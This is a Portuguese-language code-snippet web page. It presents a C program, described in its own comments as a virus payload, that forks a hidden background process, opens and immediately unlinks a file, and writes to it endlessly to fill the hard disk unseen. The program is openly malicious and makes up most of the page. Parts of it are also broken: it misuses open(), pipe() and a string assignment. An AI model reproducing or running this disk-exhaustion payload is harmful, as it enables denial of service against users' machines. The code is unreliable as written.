Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 5.036 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char
*buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo
*/
pipe (desc); /* com a saída padrão fechado,
fazemos com que a saída passe a ser o pipe. O
descritor dessa nova saida será armazenados em desc
*/
ifd=open("./lotaHD", "w+",0777); /* abre o
arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop
infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo
para a gravação, é o tempo que se escreve esta
string na saída. Por isso usamos o pipe. Não
queremos que o vírus fique escrevendo nada no vídeo
*/
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro
processo, pois o vírus terá que continuar sua
execução enquanto sua ação é realizada. */
/* Não poderia ser uma thead, pois
mesmo que o programa hospedeiro se encerre, o
processo tem que continuar */
/* o processo filho que foi criado é quem deve
se encarregar da execução da ação, o pai tem que
continuar a executar as funcionalidades restantes
do vírus */
if (i==0)
acao();
}
Entrar com um número e imprimir todos os seus divisores
CalDOS - 60 funções em uma calculadora
Calculo calorico visando perca de gordura e definicao muscular
Os cincos primeiros termos da séries de fourier
Nenhum comentário foi encontrado.
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como fazer a conversão binária e aplicar as restrições no Linux
Como quebrar a senha de um servidor Linux Debian
Como bloquear pendrive em uma rede Linux
Um autoinstall.yaml para Ubuntu com foco em quem vai fazer máquina virtual
Instalar GRUB sem archinstall no Arch Linux em UEFI Problemático









